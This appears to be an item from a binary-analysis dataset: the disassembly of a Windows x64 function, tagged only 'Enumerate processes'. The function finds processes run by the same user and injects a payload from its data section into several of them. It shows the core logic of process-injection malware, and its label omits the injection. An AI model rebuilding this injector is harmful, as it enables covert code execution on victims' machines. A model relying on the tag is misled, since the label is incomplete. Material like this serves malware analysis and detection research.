Function at 0x1400019f7
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x480
lea rbp, [rsp + 0x80]
call fcn.140001db0
lea rax, str.Starting_payload_injection_process...
mov rcx, rax
call fcn.1400014e7
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x3f8], eax
mov eax, dword [rbp + 0x3f8]
mov r8d, eax
mov edx, 0
mov ecx, 0x400
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3f0], rax
cmp qword [rbp + 0x3f0], 0
jne 0x140001a70
lea rax, str.Error:_Failed_to_open_current_process
mov rcx, rax
call fcn.1400014e7
mov eax, 1
jmp 0x140001ceb
lea rdx, [rbp + 0x2e0]
mov rax, qword [rbp + 0x3f0]
mov r8d, 0x100
mov rcx, rax
call fcn.140001510
test eax, eax
jne 0x140001abc
lea rax, str.Failed_to_get_current_process_user_SID
mov rcx, rax
call fcn.1400014e7
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001ceb
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400014e7
mov dword [rbp + 0x1b0], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x3e8], rax
cmp qword [rbp + 0x3e8], 0xffffffffffffffff
jne 0x140001b21
lea rax, str.Error:_CreateToolhelp32Snapshot_failed
mov rcx, rax
call fcn.1400014e7
mov eax, 1
jmp 0x140001ceb
mov dword [rbp + 0x3fc], 0
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001cb5
mov eax, dword [rbp + 0x1b8]
cmp dword [rbp + 0x3f8], eax
je 0x140001c93
mov eax, dword [rbp + 0x1b8]
mov r8d, eax
mov edx, 0
mov ecx, 0x400
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
je 0x140001c94
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x3e0]
mov r8d, 0x100
mov rcx, rax
call fcn.140001510
test eax, eax
je 0x140001c7e
mov ecx, dword [rbp + 0x1b8]
lea rax, [rbp + 0x1b0]
lea r8, [rax + 0x2c]
lea rax, [rbp + 0xb0]
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, ecx
lea rdx, str.Process_ID:__lu__Name:__s__User_SID:__s
mov rcx, rax
call fcn.1400014a4
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400014e7
lea rdx, [rbp + 0x2e0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c7e
mov ecx, dword [rbp + 0x1b8]
lea rax, [rbp + 0x1b0]
lea r8, [rax + 0x2c]
lea rax, [rbp + 0xb0]
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, ecx
lea rdx, str.Injecting_into_process_ID:__lu__Name:__s__User_SID:__s
mov rcx, rax
call fcn.1400014a4
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400014e7
mov eax, dword [0x140009390]
mov edx, eax
mov eax, dword [rbp + 0x1b8]
mov r8, rdx
lea rdx, section..data
mov ecx, eax
call fcn.1400016ac
add dword [rbp + 0x3fc], 1
cmp dword [rbp + 0x3fc], 2
jg 0x140001cc4
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001c94
nop
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x140001b4a
jmp 0x140001cc4
lea rax, str.Error:_Process32First_failed
mov rcx, rax
call fcn.1400014e7
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Payload_injection_process_completed
mov rcx, rax
call fcn.1400014e7
mov eax, 0
add rsp, 0x480
pop rbp
ret